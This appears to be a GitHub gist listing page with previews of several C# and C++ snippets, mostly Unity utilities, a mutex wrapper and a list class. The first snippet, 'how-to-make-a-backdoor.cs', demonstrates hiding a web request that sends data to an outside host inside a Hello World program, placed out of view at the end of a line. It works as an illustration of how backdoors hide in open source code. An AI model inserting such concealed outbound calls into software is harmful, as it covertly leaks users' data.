yuri-tikhomirov
yuri-tikhomirov
/ how-to-make-a-backdoor.cs
Created
October 5, 2019 23:20
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| class Program | |
| { | |
| static void Main() | |
| { | |
| // it seems to be this opensource code can not have any backdoors?.. | |
| System.Console.WriteLine("Hello world!"); { /* HERE's the backdoor!! */ var data = "something"; System.Net.WebRequest.Create("http://youhavebeenspotted.com/?some=" + data).GetResponseAsync(); } | |
| } | |
| } |
yuri-tikhomirov
/ HierarchySerializer.cs
Created
May 13, 2019 13:46
Unity GameObject hierarchy serialization (name & components)
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| // | |
| // usage : | |
| // Debug.Log( HierarchySerializer.SerializeGameObject(myGameObject) ); | |
| // | |
| public static class HierarchySerializer | |
| { | |
| public static System.Text.StringBuilder SerializeGameObject( | |
| UnityEngine.GameObject go, | |
| System.Text.StringBuilder sb = null, | |
| int tab = 0) |
yuri-tikhomirov
/ IncrementalMeanCounter.cs
Created
December 25, 2017 13:18
Incremental mean counter
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| // | |
| // IncrementalMeanCounter used to count average value in streaming mode | |
| // (when it is impossible to accumulate values in a collection to compute after). | |
| // | |
| // (c) 2017 Yuri Tikhomirov @ ModumLab | |
| // | |
| public struct IncrementalMeanCounter | |
| { | |
| double mean, count; |
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| byte [] c_BlackOnePixelPng = new byte[] { | |
| 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, | |
| 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53, | |
| 0xDE, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00, | |
| 0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00, | |
| 0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7, | |
| 0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41, 0x54, 0x18, 0x57, 0x63, 0x60, 0x60, | |
| 0x60, 0x00, 0x00, 0x00, 0x04, 0x00, 0x01, 0x5C, 0xCD, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x49, | |
| 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82 | |
| }; |
yuri-tikhomirov
/ GUILayTools.cs
Last active
July 8, 2016 21:41
A Layout tool for Unity3D for scoped OnGUI() programming with no garbage production.
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| using System; | |
| using UnityEngine; | |
| using System.Collections.Generic; | |
| // | |
| // GUI layout tools (c) Yuri Tikhomirov at Cerevrum Inc. | |
| // | |
| // A useless* tool not to produce more garbage when using with Unity3D IMGUI. | |
| // | |
| // * - cause anyway IMGUI produces garbage inside |
yuri-tikhomirov
/ mutex.h
Last active
May 27, 2016 16:51
— forked from ytsutano/mutex.h
Simple mutex wrapper class
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| // | |
| // From https://gist.github.com/ytsutano/4140432 by Yutaka Tsutano | |
| // Modified by Yuri Tikhomirov | |
| // (https://gist.github.com/yuri-tikhomirov/a81343dfd0eeaa4cc80a32aa095a2f5d) | |
| // | |
| // Refactored to support CRITICAL_SECTION usage on Windows, | |
| // also made calls to lock() / try_lock() / unlock() inline. | |
| // | |
| // Performance tests: | |
| // http://preshing.com/20111124/always-use-a-lightweight-mutex/ |
yuri-tikhomirov
/ FastList.cs
Last active
October 8, 2023 20:23
FastList<T> is a System.Collections.Generic.List<T> modification such, that allows to not produce garbage when using foreach.
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| /* | |
| FastList<T> is a System.Collections.Generic.List<T> modification such, that allows to not produce garbage when using foreach. | |
| Useful for old versions of c# runtime (like Mono 2.x), i.e. for Unity. | |
| It implements own instance-type enumerator and caches only one instance of this enumerator inside. | |
| Instance-type enumerator allows to avoid boxing that occurs when foreach converts IEnumerator to IDisposable and calls Dispose(). | |
| (Default List<T> enumerator is value-type (struct), so when foreach converts to IDisposable, boxing occurs and 20 bytes of garbage will be collected.) | |
| Warnings: |